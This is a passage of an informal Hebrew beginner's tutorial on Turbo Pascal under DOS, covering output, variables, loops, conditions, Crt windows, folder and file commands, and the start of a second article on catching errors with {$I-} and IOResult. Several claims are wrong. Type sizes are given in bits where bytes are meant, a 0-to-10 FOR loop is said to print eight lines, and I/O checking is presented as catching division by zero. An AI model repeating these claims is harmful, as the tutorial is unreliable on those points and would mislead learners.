**3) כל שורת תיכנות שהיא לא הצהרה, תסתיים בנקודה פסיק כאלה ;.**

**4) רוב האפשרויות בפסקל נמצאות בקבצים חיצוניים, שיש לציין אותם בהתחלה.**

**5) פסקל מבצעת פקודה אחר פקודה, ואין לה את היכולת לבצע שתי פקודות באותו**

**זמן.**

**האפליקצייה הראשונה שלנו**

**טוב, אחרי שאנחנו יודעים בערך מה זה פסקל, ואת החוקים הבסיסיים שלה, אפשר**

**להתחיל. תפתחו את פסקל, אם עדיין לא פתחתם. עכשיו, כמו שכתוב בהחוקים**

**למעלה, נכתוב בשורה הראשונה הצהרה לתוכנית שהתוכנית מתחילה עכשיו, זאת**

**אומרת, נכתוב BEGIN, ונרד שורה על ידי לחיצה על אנטר. הדבר הבא שנעשה,**

**הוא הקוד עצמו של התוכנית. אנחנו רוצים שיהיה כתוב לנו משהו. נגיד שאנחנו**

**רוצים שיהיה כתוב לנו "This is my first application". נשתמש בפקודה מאוד**

**מרכזית ובסיסית, ששמה הוא Write, שבעצם כותבת לנו משהו על המסך. דומה קצת**

**לפקודה printf בסי, למי שמכיר. עכשיו, נכתוב בגרשיים, את הטקסט שאנחנו**

**רוצים. השורה המלאה תראה ככה (קונטרול ושיפט כדי להבין):**

**Write ('This is my first application');**

**אחרי זה נכתוב את הסיום של התוכנית, יעני המילה END עם נקודה אחריה. כל**

**התוכנית שלנו תהיה (קונטרול ושיפט עוד פעם):**

**BEGIN**

**Write ('This is my first application');**

**END.**

**עכשיו, אנחנו יכולים לנסות להריץ בלי לקמפל, אבל אנחנו לא נראה כלום, כי**

**ההרצה הרגילה בנויה כך שיש הרצה של מה שכתבנו, ואז יציאה אוטומטית, זאת**

**אומרת שעד שלא אמרנו לתוכנית לעצור ולחכות, היא לא תחכה... אז לחצו על**

**שני המקשים Alt וגם על F9. יופי. עכשיו, צאו מפסקל, וכנסו לתיקיית פסקל.**

**עכשיו, תחפשו בתוך התיקייה קובץ ששמו NONAME00.EXE. תפתחו אותו. אם עשיתם**

**הכל נכון, צריך להיות כתוב לכם "This is my first application". סחתיין,**

**בניתם תוכנית! דרך אגב, אם רוצים לכתוב גרש, נגיד That's it, נכתוב שני**

**גרשיים, כאילו (קונטרול ושיפט):**

**Write ('That''s it!');**

**טוב, בואו נכנס לפסקל שוב, יש עוד מלא פקודות!!!**

**שימוש בירידת שורה**

**נגיד שאנחנו רוצים לכתוב שורה אחרי שורה... מה נעשה? יש שתי אותיות שאפשר**

**להוסיף לפקודת קריאה וכתיבה. האותיות הן Ln, קיצור של Line. טוב, אז נעשה**

**תוכנית כזאת (קונטרול ושיפט):**

**BEGIN**

**WriteLn ('This is the first line');**

**WriteLn ('And this is the second line');**

**END.**

**עכשיו תקמפלו כמו מקודם, ותריצו. התוכנית יקראו NONAME01.EXE.**

**משתנים ופקודות קריאה**

**טוב, תכתבו הצהרת התחלה לתוכנית: BEGIN. נגיד שאנחנו רוצים לעשות מחשבון,**

**למשל. המחשבון הזה ייקח שני מספרים מהמשתמש, ויראה חיבור, חיסור, כפל וגם**

**חילוק. הנה התוכנית, ואחריה הסברים (שוב קונטרול ושיפט):**

**VAR**

**VarX, VarY: longint;**

**BEGIN**

**WriteLn ('Ok, Here is our calculator:');**

**Write ('Enter the first number: ');**

**ReadLn (VarX);**

**Write ('Enter the second number: ');**

**ReadLn (VarY);**

**WriteLn ('X + Y = ', VarX + VarY);**

**WriteLn ('X - Y = ', VarX - VarY);**

**WriteLn ('X \* Y = ', VarX \* VarY);**

**WriteLn ('X / Y = ', VarX / VarY);**

**END.**

**הסברים**

**VAR: הצהרה על הכנסת משתנה, קיצור של Variable.**

**VarX, VarY: שמות של שני משתנים חדשים.**

**longint: סוג משתנה שהוא בעצם מספר ארוך, קיצור של Long Integer.**

**ReadLn: פקודת קריאה. התוכנית מחכה להכנסת מספר ועוד לחיצה על אנטר.**

**+: אופרטור, חיבור בין שני מספרים.**

**-: אופרטור, חיסור בין שני מספרים.**

**\*: אופרטור, כפל בין שני מספרים.**

**/: אופרטור, חילוק מספר ראשון בשני. החילוק הוא סלאש עולה /, ולא יורד \.**

**,: בתוך הכתיבה, זה הפרדה בין טקסט כתוב לבין טקסט שנובע ממשתנים.**

**טוב, בואו נסביר קצת על סוגי משתנים**

**למשתנים (נקראים גם פרמטרים), יש שלושה חלקים, בכל שפת תיכנות.**

**החלק ראשון**

**הצהרה על הגדרת משתנה. בפסקל זה VAR, בויזואל בייסיק זה DIM.**

**החלק השני**

**שם המשתנה. למשתנה חייב להיות שם חוקי (עדיף אותיות).**

**החלק השלישי**

**סוג משתנה. הצהרה על סוג המשתנה. בפסקל יש נקודותיים אחרי שם המשתנה, ואז**

**מגיע הסוג. היתרון הגדול של ויזואל בייסיק על פסקל הוא שבויזואל בייסיק**

**יש את האפשרות להשאיר משתנה ריק, בלי להגדיר את הסוג שלו.**

**סוגים של משתנים**

**integer: מספר מלא.**

**longint: מספר מלא ארוך.**

**string: מחרוזת, טקסט.**

**boolean: מחזיר נכון או לא נכון, True Or False.**

**single: מספר יחיד, שוקל 4 ביט.**

**double: מספר כפול, שוקל 8 ביט.**

**text: טקסט, מאוד שימושי, דומה לסטרינג.**

**file: משתנה קובץ.**

**char: צ'אר מסויים, קוד אסקיי, שוקל ביט אחד.**

**כמובן שזה חלק מאוד קטן מסוגי המשתנים. המשתנים פה הם השימושיים ביותר.**

**שימוש בקבצים חיצוניים**

**כמו שצויין למעלה, פסקל משתמשת בקבצים חיצוניים, מה שהופך אותה לשפה עם**

**אפשרויות אינסופיות. קבצים אלו הם עם סיומת tpu, והם מקבילים לקבצים של**

**ויזואל בייסיק, עם סיומת ocx, או לקבצים של סי, סיומת h.**

**עכשיו, פסקל באה עם מספר קבצים חיצוניים, כמובן שאפשר להוריד עוד מלא**

**מהאינטרנט. בתוך תוכנית הפסקל צריך לציין באיזה קובץ אנחנו משתמשים. הנה**

**דוגמא לקוד קצר שנותן צבע לטקסט, ומשתמש בקובץ חיצוני (קונטרול ושיפט):**

**USES Crt;**

**BEGIN**

**TextColor(9);**

**WriteLn ('Here is the colored line');**

**END.**

**טוב, פה אנחנו משתמשים בקובץ שאחראי בעיקר לפעולות גרפיקה, בעיקר יש דגש**

**על צבע. הנה קצת הסברים:**

**USES: מילה שמורה, הצהרה על שימוש בקובץ חיצוני.**

**Crt: הקובץ Crt.tpu, קובץ חיצוני. כותבים רק את שם הקובץ בלי סיומת.**

**TextColor: פקודה שיוצאת מהקובץ Crt.tpu, אחראית לצבע טקסט.**

**9: צבע כחול, יש מלא צבעים, חלקם אפילו מהבהבים, סכנה לחולי אפילפסיה!!!**

**שימוש בלולאות**

**טוב, הגיע הזמן לחלק החשוב בתיכנות: לולאות!!! לולאה בתיכנות (Loop), היא**

**חזרה מסויימת על פקודה. יש סוגים שונים של לולאות בכל שפה. היום נלמד רק**

**שתיים: לולאת פור (הגבלה במספר), ולולאת ריפיט (הגבלה בתנאי).**

**לולאת פור**

**הלולאה מורכבת ממספר חלקים. חלק המציין את הסוג של הלולאה, משתנה עולה,**

**מספר התחלתי של המשתנה, מספר סופי של המשתנה, ואז התחלת הלולאה, הקוד של**

**הלולאה, ולבסוף סיום הלולאה. קצת מסובך, אבל נסתדר. (קונטרול ושיפט):**

**VAR**

**Xxx: integer;**

**BEGIN**

**FOR Xxx := 0 TO 10 DO**

**BEGIN**

**WriteLn ('Loop number ', Xxx);**

**END;**

**END.**

**קצת הסברים**

**FOR: ציון סוג הלולאה, לולאת פור, הגבלה במספר.**

**Xxx: זה המשתנה מסוג מספר מלא.**

**:=: זה סימן השווה, אופרטור, שהוא נקודותיים ואז שווה.**

**0: המספר ההתחלתי של הלולאה.**

**TO: הצהרה של המספר הסופי של הלולאה.**

**10: זה בעצם הלולאה האחרונה, הלולאה העשירית.**

**DO: הגדרה של עלייה באחד כל לולאה. יש אפשרות לירידה, DOWNTO.**

**BEGIN: ההתחלה של הלולאה. זה הבגין השני בתוכנית.**

**END;: סוף הלולאה, שנגמר בנקודה פסיק, להבדיל מסוף התוכנית שנגמר בנקודה.**

**טוב, אם הבנתם קצת, זה בעצם מראה לנו את מספר הלולאה. תקמפלו ותריצו. כדי**

**לא לבלבל, בתוכנית ייכתבו שמונה שורות, וזה בגלל שהלולאה כוללת את אפס.**

**לולאת ריפיט**

**גם הלולאה הזאת מורכבת ממספר חלקים. הצהרה על סוג הלולאה, קוד הלולאה,**

**ולבסוף תנאי. לחצו על קונטרול ושיפט (זה לא מתחיל להמאס הקונטרול ושיפט?)**

**VAR**

**Xxx:integer;**

**BEGIN**

**REPEAT**

**WriteLn ('Loop number ', Xxx);**

**Xxx := Xxx + 1;**

**UNTIL Xxx = 8;**

**END.**

**הסברים**

**REPEAT: הצהרה על סוג הלולאה, לולאת ריפיט, לולאה בתנאי.**

**UNTIL: סוג התנאי, כלומר עד ש...**

**Xxx = 8: התנאי עצמו. עד שהמשתנה איקס איקס איקס יהיה שווה לשמונה.**

**טוב, מי שיקמפל ויריץ, ייגלה שבעצם יש לנו את אותה תוצאה בשני סוגים של**

**לולאות. הלולאה הראשונה אומרת לתוכנית ככה: תיקח את המשתנה, תשווה אותו**

**לאפס, תעלה אותו כל פעם באחד עד שהוא מגיע לשבע, ובינתיים תעשה את הקוד**

**של הלולאה. הלולאה השנייה אומרת לתוכנית ככה: תכניס חזרה כל פעם, תעלה את**

**המשתנה באחד כל חזרה, וכשהמשתנה מגיע לשמונה תפסיק את החזרה. שתי הלולאות**

**נותנות את אותה תוצאה, אך הן לא דומות אפילו. הלולאה פור מתייחסת לטווח**

**מספרים, והלולאה ריפיט מתייחסת לחזרה עד שתנאי מסויים מתקיים, או כל עוד**

**תנאי מסויים מתקיים.**

**הפקודה קריאת מקש**

**טוב, קריאת מקש היא פקודה מקובץ חיצוני, פקודה חשובה לאללה. הפקודה נגזרת**

**מהקובץ החיצוני Crt.tpu, ודומה מאוד לפקודת קריאה. ההבדל הוא, שבפקודת**

**קריאה אמרנו לתוכנית לחכות להכנסה של משהו מהמשתמש באמצעות המקלדת, ואחרי**

**זה שהמשתמש יכניס אנטר. עד שאנטר לא נלחץ, התוכנית לא ממשיכה. קריאת מקש**

**לא מחכה לאנטר, אלא קוראת את המקש הראשון החוקי שהמשתמש לחץ עליו. הנה**

**דוגמא קטנה לשילוב של לולאת ריפיט לבין קריאת מקש (קונטרול ושיפט):**

**USES Crt;**

**VAR**

**KeyYeah:char;**

**BEGIN**

**REPEAT**

**KeyYeah := ReadKey;**

**UNTIL (KeyYeah = 'Y') OR (KeyYeah = 'y');**

**END.**

**הסברים**

**KeyYeah: משתנה מסוג צ'אר, שוקל ביט אחד, קוד אסקיי.**

**ReadKey: פקודה הקוראת את המקש החוקי הראשון שנלחץ.**

**KeyYeah = 'Y': תנאי, המקש שנלחץ יהיה Y.**

**OR: חלק מתנאי, זאת אומרת "או".**

**לכל מי שלא הבין: התוכנית מקבלת תמיד את המקש שנלחץ, ומשווה את המשתנה אל**

**המקש שנלחץ. התוכנית לא תמשיך עד שהמקש Y (אות גדולה) או y (אות קטנה)**

**נלחצה על ידי המשתמש.**

**תנאים**

**טוב, כבר די התעסקנו בזה, אבל זה חלק חשוב בכלל בתיכנות, אז שיהיה. תנאי**

**הוא בעצם חלק תיכנותי המורכב מהצהרה על התחלת התנאי, התנאי עצמו, התוצאה**

**אם התנאי מתקיים, ויש אפשרות להכניס גם מה קורה אם התנאי לא מתקיים. הנה**

**תוכנית קטנה לתנאי (קונטרול ושיפט שוב):**

**VAR**

**Yyy: longint;**

**BEGIN**

**ReadLn (Yyy);**

**IF Yyy = 544 THEN**

**BEGIN**

**WriteLn ('This is the right password');**

**END**

**ELSE**

**BEGIN**

**WriteLn ('This is the wrong password');**

**END;**

**END.**

**הסברים**

**IF: הצהרה על התנאי, יעני אם משהו קורה, אז. זה החלק של "אם...".**

**Yyy = 544: זה התנאי עצמו. אם כתבנו 544, אז...**

**THEN: טוב, זה החלק של "אז...".**

**BEGIN: התחלת התנאי. אני מדבר על הבגין השני, כמובן.**

**END: סוף הקוד בנקודת המחה שהתנאי כן התקיים.**

**ELSE: אם התנאי לא התקיים, אז...**

**END; סוף הקוד בנקודת הנחה שהתנאי לא התקיים.**

**למי שעוד פעם לא ממש הבין: התוכנית קוראת מהמשתמש מספר. אם המספר שהכנסנו**

**הוא 544, אז התוכנית תכתוב שזאת הסיסמא הנכונה, אבל אם הכנסנו משהו אחר**

**מהמספר 544, אז התוכנית תכתוב שזאת הסיסמא הלא נכונה.**

**ניקוי מסך**

**פקודה בתוך יחידת Crt.tpu, אחראית לניקוי המסך. דוגמא (קונטרול ושיפט):**

**USES Crt;**

**BEGIN**

**WriteLn('This line won't be seen by the user.');**

**ClrScr;**

**END.**

**הסבר**

**ClrScr: מנקה את המסך, כך שהמשתמש לא ייראה את מה שכתוב לפני הניקוי.**

**שימוש בחלונות גרפיים**

**טוב, פה גם נשתמש בקובץ חיצוני, עוד פעם Crt.tpu, שאחראי על גרפיקה. טוב,**

**קצת הסברים: חלון גרפי זה חלון בעל צבע אחורי מסויים, שבעצם "עולה" על**

**הרקע או על חלון אחר. חלון זה מתפקד לבד אחרי שהכנסנו אותו. לפקודה שבה**

**מכניסים חלון יש שתי נקודות. כל נקודה מורכבת משני מספרים על הפלטפורמה**

**הגרפית, X וגם Y. הנקודה הראשונה היא החלק השמאלי העליון של החלון, ויש**

**גם את הנקודה התחתונה, שהיא החלק הימני התחתון של החלון. לפני הגדרתו של**

**החלון יש לציין צבע אחורי. אם לא הגדרנו, החלון יהיה שחור, ואז לא ייראו**

**אותו. אחרי הגדרת החלון יש לעשות ניקוי מסך. הנה דוגמא לחלון, שצבעו כחול**

**וצבע הטקסט שלו הוא לבן (קונטרול ושיפט):**

**USES Crt;**

**BEGIN**

**TextBackground (9);**

**TextColor (15);**

**Window (5,5,10,10);**

**ClrScr;**

**END.**

**הסברים**

**TextBackground: קובע את הצבע האחורי של החלון.**

**TextColor: קובע את הצבע של הטקסט בתוך החלון.**

**Window: בונה חלון מנקודה 5,5 עד לנקודה 10,10.**

**ClrScr: מנקה את המסך, כדי שהחלון יווצר.**

**החלון המקסימלי שחלון אם אס דוס יכול להרשות, הוא (קונטרול ושיפט):**

**Window (1,1,80,25);**

**שימוש בפרוצדורות**

**פרוצדורה היא כמו רצף של פקודות נפרדות. הפרוצדורות נוחות מאוד, עושות**

**למתכנת קצת סדר בראש, וקלות לתיכנות. הפרוצדורה מורכבת מהצהרה על התחלתה**

**של הפרוצדורה שמה של הפרוצדורה, הקוד של הפרוצדורה, והצהרה על הסיום. הנה**

**דוגמא טובה לקוד עם פרוצדורות (קונטרול ושיפט):**

**USES Crt;**

**PROCEDURE CreateWindow;**

**BEGIN**

**TextBackground (9);**

**TextColor (15);**

**Window (1,1,80,25);**

**ClrScr;**

**END;**

**BEGIN**

**CreateWindow;**

**WriteLn ('It works!!!');**

**END.**

**הסברים**

**PROCEDURE: הצהרה על התחלת פרוצדורה חדשה.**

**CreateWindow: שם חוקי לפרוצדורה (עדיף להשתמש באותיות).**

**BEGIN: הבגין הראשון הוא התחלת הפרוצדורה. הבגין השני הוא גוף התוכנית.**

**TextBackground: לחלון יהיה רקע כחול.**

**TextColor: בחלון הטקסט יהיה לבן.**

**Window: יוצר חלון. במקרה הזה, על כל המסך.**

**ClrScr: המגע האחרון, שיוצר בעצם את החלון.**

**END;: סוף הפרוצדורה.**

**CreateWindow: זה שמופיע בגוף התוכנית, אומר לתוכנה ללכת לאותה פרוצדורה.**

**WriteLn: פקודה בגוף התוכנית, אך היא תכתב בתוך החלון.**

**עבודה עם תיקיות**

**טוב, הגיע הזמן לעבוד עם דברים מחוץ לתוכנית. הפקודות שנלמד יהיו מחיקה**

**של תיקייה ריקה, יצירת תיקייה, שינוי מעבר, והשגת מעבר.**

**מחיקת תיקייה ריקה**

**תיצרו תיקייה ריקה בכונן סי אצלכם. אם אתם לא יודעים איך, אז תלחצו על**

**התחל, הפעלה, תיכתבו MkDir C:\Just ותלחצו אנטר. התיקייה תהיה בכונן סי,**

**ויקראו לה Just. סתם שם מקרי. עכשיו, תיכנסו לפסקל. תיכתבו את הקוד הבא**

**ודרך אגב, תלחצו גם עכשיו על קונטרול ושיפט כדי להבין מה הולך פה:**

**BEGIN**

**RmDir ('C:\Just');**

**WriteLn ('C:\Just has been deleted.');**

**END.**

**הסברים**

**RmDir: הצהרה על מחיקת תיקייה.**

**C:\Just: התיקייה הריקה שעשינו, נמחקה.**

**האמת היא שיש עוד פקודה למחיקת תיקייה ריקה, ששמה RemoveDir. אין לי מושג**

**למה יש שתי פקודות עם תוצאה זהה באותה שפת תיכנות, אבל שתיהן טובות.**

**יצירת תיקייה ריקה**

**זה בדיוק אותו דבר כמו מחיקה, אבל הצהרה אחרת. הנה זה (קונטרול ושיפט):**

**BEGIN**

**MkDir ('C:\Just');**

**WriteLn ('C:\Just has been created.');**

**END.**

**הסברים**

**MkDir: הצהרה על יצירת תיקייה.**

**C:\Just: התיקייה החדשה שיצרנו.**

**השגת מעבר**

**טוב, מעבר נקרא באנגלית Path, זה התרגום הכי טוב שמצאתי לזה... עכשיו,**

**מעבר מתפקד בתור תיקייה עכשיוות, יעני איפה הניווט עכשיו. הנה הקוד המלא**

**להשגת מעבר וכתיבתו (קונטרול ושיפט):**

**USES Dos;**

**VAR**

**CurrentDir: string;**

**BEGIN**

**GetDir (0, CurrentDir);**

**WriteLn (CurrentDir);**

**END.**

**הסברים**

**USES Dos: שימוש בקובץ חיצוני, Dos.tpu.**

**CurrentDir: string: משתמש חדש שיהיה מחרוזת.**

**GetDir: פקודה שנגזרת מהקובץ Dos.tpu.**

**0: ברירת מחדל של הכונן.**

**CurrentDir: משתנה זה בתוך הצהרת השג מעבר, מכניס את המעבר למשתנה.**

**הבנתם בערך? אני מקווה שכן. עכשיו, נעשה בדיוק ההפך מקבלת מעבר.**

**שינוי מעבר**

**טוב, אני לא אאריך בדיבורים פה. יהיו כמובן הסברים, ישר אחרי הקוד מקור**

**הבא (קונטרול ושיפט):**

**BEGIN**

**ChDir ('C:\Windows');**

**END.**

**הסברים**

**ChDir: הצהרה על שינוי המעבר העכשווי.**

**C:\Windows: המעבר העכשווי הופך לתיקיית וינדואוז.**

**עבודה עם קבצים**

**טוב, זה הרבה הרבה הרבה יותר מסובך מעבודה עם תיקיות. הדברים שנלמד יהיו**

**יצירת קובץ, פתיחת קובץ, סגירת קובץ, שינוי קובץ, קריאה מתוך קובץ ואפילו**

**הרצת קובץ.**

**יצירת קובץ**

**טוב, הנה הקוד ליצירת קובץ (קונטרול ושיפט):**

**VAR**

**NewFile: text;**

**BEGIN**

**Assign (NewFile, 'C:\NewFile.txt');**

**Rewrite (NewFile);**

**Close (NewFile);**

**END.**

**הסברים**

**NewFile: text: משתנה שיהווה את הקובץ.**

**Assign: פקודה שמכניסה את המעבר המלא של הקובץ לתוך משתנה.**

**Rewrite: יוצר את הקובץ ופותח אותו.**

**Close: סוגר קובץ פתוח.**

**קצת על פקודות של קבצים**

**פקודות ששולטות בקבצים בשפת פסקל, יכולות לשלוט רק על ידי הכנסת משתנה.**

**לדוגמא, אתה לא יכול לפתוח את C:\Autoexec.bat, אלא אתה יכול רק לפתוח**

**משתנה. אז מה עושים? בשביל זה נוצרה הפקודה Assign, שתפקידה להפוך את**

**המשתנה לקובץ. הפקודה Assign בנויה משני חלקים: המשתנה שייהפך לקובץ,**

**והמעבר המלא של הקובץ שבו אנחנו רוצים לשלוט.**

**פתיחת קובץ, סגירת קובץ וכתיבה לקובץ**

**טוב, אתם תצטרכו את הקובץ שיצרנו מקודם. זה הולך ככה (קונטרול ושיפט):**

**VAR**

**CoolFile: text;**

**BEGIN**

**Assign (CoolFile, 'C:\NewFile.txt');**

**Reset (CoolFile);**

**WriteLn (CoolFile, 'Ok, This is my text');**

**Close (CoolFile);**

**END.**

**הסברים**

**CoolFile: text: משתנה שיהווה קובץ.**

**Assign: הגדרת המשתנה לקובץ שיצרנו מקודם.**

**Reset: פותח את הקובץ.**

**WriteLn: שימוש בכתיבה. צריך לציין את המשתנה של הקובץ, ואז את הטקסט.**

**Close: סוגר את הקובץ.**

**קריאה מתוך קובץ**

**אוקי, עכשיו נוציא מקובץ את הטקסט שבתוכו לפלט על המסך. אז תלחצו קונטרול**

**ושיפט, כדי להבין. אתם תצטרכו שוב את הקובץ ממקודם:**

**VAR**

**FileX: text;**

**FileText: string;**

**BEGIN**

**Assign (FileX, 'C:\NewFile.txt');**

**Reset (FileX);**

**ReadLn (FileX, FileText);**

**Close (FileX);**

**WriteLn (FileText);**

**END.**

**הסברים**

**FileX: text: משתנה שיהווה את הקובץ ממקודם.**

**FileText: string: משתנה שיהווה את הטקסט בתוך הקובץ.**

**ReadLn: קורא שורה מהקובץ ומכניס אותה למשתנה.**

**WriteLn: כותב את השורה, אחרי שהקובץ נסגר.**

**הרצת קובץ**

**טוב, זה ממש ממש קל. פה נשתמש בקובץ חיצוני, Dos.tpu. לחצו על קונטרול**

**ושיפט כדי לקלוט:**

**{$M $4000,0,0 } {16K stack, no heap }**

**USES Dos;**

**BEGIN**

**SwapVectors;**

**ExeC ('C:\Command.com', 'Start');**

**SwapVectors;**

**END.**

**הסברים**

**{$M $4000,0,0 } {16K stack, no heap }: הגדרות זיכרון. הכרחי לכתוב.**

**USES Dos: שימוש בקובץ Dos.tpu, קובץ חיצוני.**

**SwapVectors: מפנה מקום לזיכרון מורחב. כותבים לפני ואחרי ההרצה.**

**ExeC: הצהרה על הרצה. קודם כותבים את הקובץ, ואז את פקודת ההרצה.**

**שימוש באסקיי**

**אסקיי, למי שלא יודע, הוא תבנית סידורית לתו ששוקל ביט אחד. לדוגמא, ערך**

**האסקיי של הסמל © הוא 169. לפי זה, אפשר להבין שכאשר אנחנו משתמשים בקוד**

**אסקיי, יהיו לנו שתי פקודות: להפוך מספר למסל, ולהפוך סמל למספר.**

**להפוך מספר לסמל**

**טוב, הפקודה עצמה דומה מאוד לשפות תיכנות אחרות. תלחצו על קונטרול ושיפט,**

**ואז תנסו להבין:**

**BEGIN**

**WriteLn (Chr(112));**

**END.**

**הסבר**

**Chr: הופך מספר לסמל. פה מה שייכתב יהיה האות פי האנגלית P.**

**112: הקוד של האות האנגלית פי.**

**להפוך סמל למספר**

**טוב, תלחצו קונטרול ושיפט:**

**BEGIN**

**WriteLn (Ord('p'));**

**END.**

**הסבר**

**ORD: הופך סמל למספר. פה מה שייכתב יהיה המספר 112.**

**'p': האות שתהפך למספר.**

**טוב, פה אנחנו נפרדים**

**טוב, אם הגעתם עד לפה, והצלחתם הכל, והכי חשוב - הבנתם הכל (!), אתם כבר**

**בטח מתים מכאב ראש כמו מיגרנה ענקית על הבוקר, פסקל יצא לכם מכל החורים**

**בגוף, כולל החורים בין הרגליים, אבל אין מה לעשות, תיכנות יכול להיות**

**סבבה, אבל הוא גם לא קל כל כך... הכתבה הזאת, מוקדשת בענק לפטשר, שבגלל**

**סיבה כלשהי לא נשמע ממנו הרבה זמן, ופטשר, אם אתה קורא את זה עכשיו, אז**

**היה סבבה איתך, ותשמור על עצמך אחי... הכתבה הזאת כמובן שייכת רק רק לי,**

**אין לאף אחד זכות לגנוב, במיוחד לא לליימרים שלא יודעים לתכנת, ואני שונא**

**סופים עצובים... אה כן, שכחתי דבר אחד: תלחצו קונטרול ושיפט... סתאאאם!!!**

**אז יאללה, כל מי שרוצה לדבר איתי על תיכנות וכאלה, למי שבאמת צריך עזרה,**

**יכול לתפוס אותי באי מייל או אייסיקיו, ואני מקווה שתסתדרו... טוב, אז**

**אוהב את כולכם, אחים שלי,**

**Crossbow**

**שגיעות בפסקל**

**טוב, אני מקווה שקראתם את הכתבה הקודמת על השגיאות בפסקל, כי היום אנחנו**

**נסתמך קצת על ידע קודם. היום אנחנו נעבוד על תוצאת קלט - פלט. עכשיו, מה**

**זה קלט ופלט? קלט זה מה שהמחשב מקבל. לדוגמא, בתוכנית פסקל אנחנו נותנים**

**למשתמש ללחוץ על מקש. הלחיצה על המקש היא הקלט (במקרה שהגדרנו משתנה**

**כלשהו שיקלוט את הלחיצה, אם לא אז הקלט הוא אפס, ובעצם "נזרק" מהזכרון).**

**הנה דוגמא לקלט אופייני בתוכנית פסקל (לחצו על קונטרול ושיפט):**

**PROGRAM CoolInput;**

**USES Crt;**

**VAR CoolCh:char;**

**BEGIN**

**CoolCh := ReadKey;**

**END.**

**הקלט הוא בדרך כלל משתנה לא קבוע. גם בתוכנית הזאת, הקלט הוא משתנה שכמו**

**שהוא נקרא - משתנה. הוא יכול להיות מקש A, או מקש B, או מקש C. יש מבין?**

**עכשיו, בואו נעבור לפלט. פלט הוא מה שהמשתמש כן רואה. הנה תוכנית פשוטה**

**מאוד מאוד מאוד בפסקל שנותנת פלט סטנדרטי לא משתנה (קונטרול ושיפט):**

**PROGRAM CoolOutput;**

**BEGIN**

**WriteLn ('Ok, This is the standard output.');**

**END.**

**פה הפלט הוא לא משתנה, הוא טקסטואלי, הוא קבוע, הוא כבר נמצא בתוך הקוד**

**מקור עצמו. אפשר גם לעשות פלט משתנה שבעצם נגזר מקלט משתנה. הנה דוגמא**

**לקלט סטנדרטי משתנה (קונטרול ושיפט):**

**PROGRAM CoolOutput;**

**USES Crt;**

**VAR CoolCh:char;**

**BEGIN**

**CoolCh := ReadKey;**

**WriteLn ('You pressed ', CoolCh);**

**END.**

**הסבר**

**פה יש לנו קלט (משתנה, שיהיה המקש שעליו לחץ המשתמש), ושני סוגי פלט, לא**

**משתנה ואחריו משתנה, באותה שורה. מה שהתוכנית הקטנה הזאת עושה הוא פשוט**

**להכניס לתוך משתנה את המקש שנלחץ, להציג את הפלט You pressed, ואחריו**

**לכתוב פלט משתנה (את המשתנה בצורה טקסטואלית).**

**אז בואו נניח שיש לנו שגיאה מסויימת של קלט או פלט. הנה תוכנית פשוטה**

**שמחזירה שגיאה מספר 200 (השגיאה האהובה עליי: חילוק באפס). טוב, כמובן**

**תלחצו על קונטרול ושיפט:**

**PROGRAM DivideZiro;**

**VAR X, Y:shortint;**

**BEGIN**

**X := 7;**

**Y := 0;**

**WriteLn (X / Y);**

**END.**

**אם תנסו להריץ תגיעו לשגיאה. אז, איך נפתרים ממנה? פשוט מאוד!!! אנחנו**

**נפעיל משהו שנקרא I / O Checking System (מערכת בדיקה קלט \ פלט), שבעצם**

**מזהה מצב של שגיאה. עכשיו, כל שגיאה מיוצגת במספר מסויים. במערכת בדיקת**

**קלט \ פלט המספר אפס הוא אין שגיאה. כל מספר ששונה מאפס הוא שגיאה. טוב,**

**אתם בטח מכירים את התזכורת בפסקל. תזכורת, למי שלא זוכר, זה בעצם מילים**

**בקוד מקור שאין להם ערך של קוד, יעני, הקומפיילר (מהדר) מתעלם מהם. אז,**

**למה זה טוב? זה טוב בעיקר להזכיר למתכנת ולכל האנשים שאמורים לקרוא את**

**הקוד מקור מה זה עושה, בקיצר, במילה אחת, תיזכורות. כל תזכורת בפסקל תהיה**

**בין גרשיים מסולסלות כאלה {}. אם אתם משתמשים בעורך בתצורת אם אס דוס של**

**טורבו פסקל שבע כמוני, אתם תראו את כל התזכורות בצבע אפור כהה. עכשיו, רק**

**שתדעו, יש טקסטים בפסקל שנכתבים כמו תזכורות, אבל הקומפיילר לא מתעלם מהם**

**אלא מקמפל אותם. בדרך כלל זה הגדרות שימוש בזכרון גבוה ונמוך. פה זה יהיה**

**הפעלת בדיקת הקלט \ פלט (תלחצו על קונטרול ושיפט):**

**PROGRAM DivideZiro;**

**VAR X, Y:shortint;**

**BEGIN**

**X := 7;**

**Y := 0;**

**{$I-}**

**WriteLn (X / Y);**

**{$I+}**

**IF IOResult <> 0 THEN**

**BEGIN**

**WriteLn ('An error has occured.');**

**Exit;**

**END;**

**END.**

**הסבר**

**טוב, פה יש לנו את אותו הקוד של התוכנית מקודם, אבל עם שיפורים משמעותיים**

**לאללה. פה אני אסביר את הכל בבת אחת, ואחר כך שורה אחר שורה. טוב, בת'כלס**

**התוכנית יוצרת שני משתנים, אחד מהם הוא שבע והשני אפס. לאחר ההגדרה של**

**המשתנים אנחנו מפעילים את הבדיקה של הקלט \ פלט. אחרי זה התוכנית מנסה**

**לכתוב את התוצאה של חילוק המשתנים אחד בשני (תוצאה לא הגיונית מבחינה**

**מספרית), אחרי הנסיון (שהתוכנית לא תציג על המסך אותו, כי הוא שגיאה), יש**

**לנו סגירה של הבדיקת קלט \ פלט. אחרי זה, יש לנו שורה, שאומרת "אם תוצאת**

**הבדיקת קלט \ פלט היא לא אפס, אז...", ואחרי זה יש לנו שורת טקסט שאומרת**

**למשתמש ששגיאה נמצאה, ואחרי זה יציאה מהתוכנית. וזהו. כל פעם בעצם שאנחנו**

**פותחים מחדש את הבדיקת קלט \ פלט, התוצאה מתאפסת באופן אוטומטי. זה בעצם**

**מאפשר שימוש רב פעמי בבדיקת קלט \ פלט, מכיוון שאת התוצאה אפשר לכוון רק**

**באופן לא ישיר, יעני, אי אפשר לכתוב לו IOResult := 0 והוא יקבל את זה.**

**עכשיו, אני יודע שזה לא התפקיד שלי להיות מורה למתימטיקה, אבל אני רוצה**

**לעשות הסבר אחרון של "למה חילוק באפס לא חוקי". אחרי ההסבר יש לי מסר**

**חשוב לאללה לכל מי שרוצה אי פעם להיות האקר אמיתי, מקצוען.**

**אז למה אסור לי לחלק באפס?**

**חוץ מזה שזה באמת מטומטם לחלק באפס מבחינה לוגית, יש לזה הסבר אלגברי.**

**ההסבר הוא, כזה. אם שלוש כפול שתיים הם שש, אז נכון שש לחלק לשלוש זה**

**שתיים וגם שש לחלק לשתיים זה שלוש? והפוך? עכשיו, נסו לעשות את זה עם אפס**

